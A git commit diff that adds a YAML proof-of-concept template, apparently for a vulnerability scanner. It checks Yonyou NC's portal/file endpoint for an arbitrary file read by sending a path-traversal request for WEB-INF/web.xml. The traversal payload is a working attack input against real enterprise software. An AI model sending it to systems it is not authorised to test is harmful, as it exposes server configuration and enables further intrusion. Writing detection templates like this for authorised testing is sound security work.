feat: add curated internal network pocs

2026-09-26 21:21:53 +08:00 · 2026-07-16 01:45:09 +08:00
parent 61ae87d171
commit 621b2c2f24
52 changed files with 1230 additions and 0 deletions
@@ -0,0 +1,18 @@
+id: yonyou-nc-portalfile-fileread
+
+info:
+  name: 用友NC portal/file 任意文件读取漏洞
+  author: Wen
+  severity: high
+  reference:
+    - https://mp.weixin.qq.com/s/dA1R1uWYLl3YD9hGxPts2w
+  tags: yonyou,nc,fileread
+  created: 2024/01/22
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml
+    expression: response.status == 200 && response.body.bcontains(b"<web-app") && response.body.bcontains(b"nc.bs.framework.server.WebApplicationStartupHook")
+expression: r0()